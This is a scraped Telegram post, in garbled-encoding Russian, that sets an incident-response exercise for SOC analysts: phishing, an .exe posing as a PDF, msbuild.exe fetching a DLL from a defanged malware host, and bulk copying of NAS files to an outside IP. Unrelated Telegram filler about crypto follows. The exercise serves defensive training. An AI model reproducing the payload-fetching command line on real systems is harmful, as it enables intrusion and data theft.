CODEBY_SEC Telegram 9134
πŸ” ΠšΠΈΠ±Π΅Ρ€Ρ€Π°ΡΡΠ»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΠ΅: ΠšΡ‚ΠΎ ΡƒΠΊΡ€Π°Π» Π΄Π°Π½Π½Ρ‹Π΅?

Π’Ρ‹ β€” SOC-Π°Π½Π°Π»ΠΈΡ‚ΠΈΠΊ. Π’ сСти ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π° ΡƒΡ‚Π΅Ρ‡ΠΊΠ° ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ². Π’ΠΎΡ‚ Ρ‡Ρ‚ΠΎ ΡƒΠ΄Π°Π»ΠΎΡΡŒ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ:

*️⃣В 09:15 сотрудник ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» письмо с Ρ‚Π΅ΠΌΠΎΠΉ Β«Π”ΠΎΠ³ΠΎΠ²ΠΎΡ€ ΠΎ Π·Π°Ρ‰ΠΈΡ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… систСм β„–-4513 Π½Π° подпись» ΠΎΡ‚ якобы Π΄ΠΎΠ²Π΅Ρ€Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€Π°Π³Π΅Π½Ρ‚Π°.

*️⃣В 09:20 ΠΎΠ½ ΠΎΡ‚ΠΊΡ€Ρ‹Π» Π²Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ β€” Ρ„Π°ΠΉΠ» contract_scanned.exe, ΠΌΠ°ΡΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉΡΡ ΠΏΠΎΠ΄ PDF.

*️⃣В 09:22 Π½Π° Π΅Π³ΠΎ ПК (Windows 10) запустился процСсс msbuild.exe с Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ:

/tmp:7a3f1 /payload:http://malware[.]xyz/get.dll

*️⃣ Π’ 09:25 этот процСсс ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΡΡ ΠΊ IP 91.234.18.77 (ΠΏΠΎΡ€Ρ‚ 8443) ΠΈ Π½Π°Ρ‡Π°Π» массово ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ ΠΈΠ· сСтСвой ΠΏΠ°ΠΏΠΊΠΈ \\NAS\Information\.

⬇️ Π’Ρ‹Π±ΠΈΡ€Π°ΠΉΡ‚Π΅ ΠΎΡ‚Π²Π΅Ρ‚!

πŸ’¬ КакиС ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹ ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚Π°Ρ†ΠΈΠΈ (IOCs), ΠΏΠΎΠΌΠΈΠΌΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π² описании ΠΈΠ½Ρ†ΠΈΠ΄Π΅Π½Ρ‚Π°, ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ для дальнСйшСго поиска ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… Π°Ρ‚Π°ΠΊ Π² сСти ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ? Π”Π΅Π»ΠΈΡ‚Π΅ΡΡŒ своими идСями!
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ€”10πŸ‘7❀6



tgoop.com/codeby_sec/9134
Create:
Last Update:

πŸ” ΠšΠΈΠ±Π΅Ρ€Ρ€Π°ΡΡΠ»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΠ΅: ΠšΡ‚ΠΎ ΡƒΠΊΡ€Π°Π» Π΄Π°Π½Π½Ρ‹Π΅?

Π’Ρ‹ β€” SOC-Π°Π½Π°Π»ΠΈΡ‚ΠΈΠΊ. Π’ сСти ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π° ΡƒΡ‚Π΅Ρ‡ΠΊΠ° ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ². Π’ΠΎΡ‚ Ρ‡Ρ‚ΠΎ ΡƒΠ΄Π°Π»ΠΎΡΡŒ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ:

*️⃣В 09:15 сотрудник ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» письмо с Ρ‚Π΅ΠΌΠΎΠΉ Β«Π”ΠΎΠ³ΠΎΠ²ΠΎΡ€ ΠΎ Π·Π°Ρ‰ΠΈΡ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… систСм β„–-4513 Π½Π° подпись» ΠΎΡ‚ якобы Π΄ΠΎΠ²Π΅Ρ€Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€Π°Π³Π΅Π½Ρ‚Π°.

*️⃣В 09:20 ΠΎΠ½ ΠΎΡ‚ΠΊΡ€Ρ‹Π» Π²Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ β€” Ρ„Π°ΠΉΠ» contract_scanned.exe, ΠΌΠ°ΡΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉΡΡ ΠΏΠΎΠ΄ PDF.

*️⃣В 09:22 Π½Π° Π΅Π³ΠΎ ПК (Windows 10) запустился процСсс msbuild.exe с Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ:

/tmp:7a3f1 /payload:http://malware[.]xyz/get.dll

*️⃣ Π’ 09:25 этот процСсс ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΡΡ ΠΊ IP 91.234.18.77 (ΠΏΠΎΡ€Ρ‚ 8443) ΠΈ Π½Π°Ρ‡Π°Π» массово ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ ΠΈΠ· сСтСвой ΠΏΠ°ΠΏΠΊΠΈ \\NAS\Information\.

⬇️ Π’Ρ‹Π±ΠΈΡ€Π°ΠΉΡ‚Π΅ ΠΎΡ‚Π²Π΅Ρ‚!

πŸ’¬ КакиС ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹ ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚Π°Ρ†ΠΈΠΈ (IOCs), ΠΏΠΎΠΌΠΈΠΌΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π² описании ΠΈΠ½Ρ†ΠΈΠ΄Π΅Π½Ρ‚Π°, ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ для дальнСйшСго поиска ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… Π°Ρ‚Π°ΠΊ Π² сСти ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ? Π”Π΅Π»ΠΈΡ‚Π΅ΡΡŒ своими идСями!

BY Codeby


Share with your friend now:
tgoop.com/codeby_sec/9134

View MORE
Open in Telegram


Telegram News

Date: |

Just at this time, Bitcoin and the broader crypto market have dropped to new 2022 lows. The Bitcoin price has tanked 10 percent dropping to $20,000. On the other hand, the altcoin space is witnessing even more brutal correction. Bitcoin has dropped nearly 60 percent year-to-date and more than 70 percent since its all-time high in November 2021. Telegram offers a powerful toolset that allows businesses to create and manage channels, groups, and bots to broadcast messages, engage in conversations, and offer reliable customer support via bots. Matt Hussey, editorial director at NEAR Protocol also responded to this news with β€œ#meIRL”. Just as you search β€œBear Market Screaming” in Telegram, you will see a Pepe frog yelling as the group’s featured image. A Telegram channel is used for various purposes, from sharing helpful content to implementing a business strategy. In addition, you can use your channel to build and improve your company image, boost your sales, make profits, enhance customer loyalty, and more. The main design elements of your Telegram channel include a name, bio (brief description), and avatar. Your bio should be:
from us


Telegram Codeby
FROM American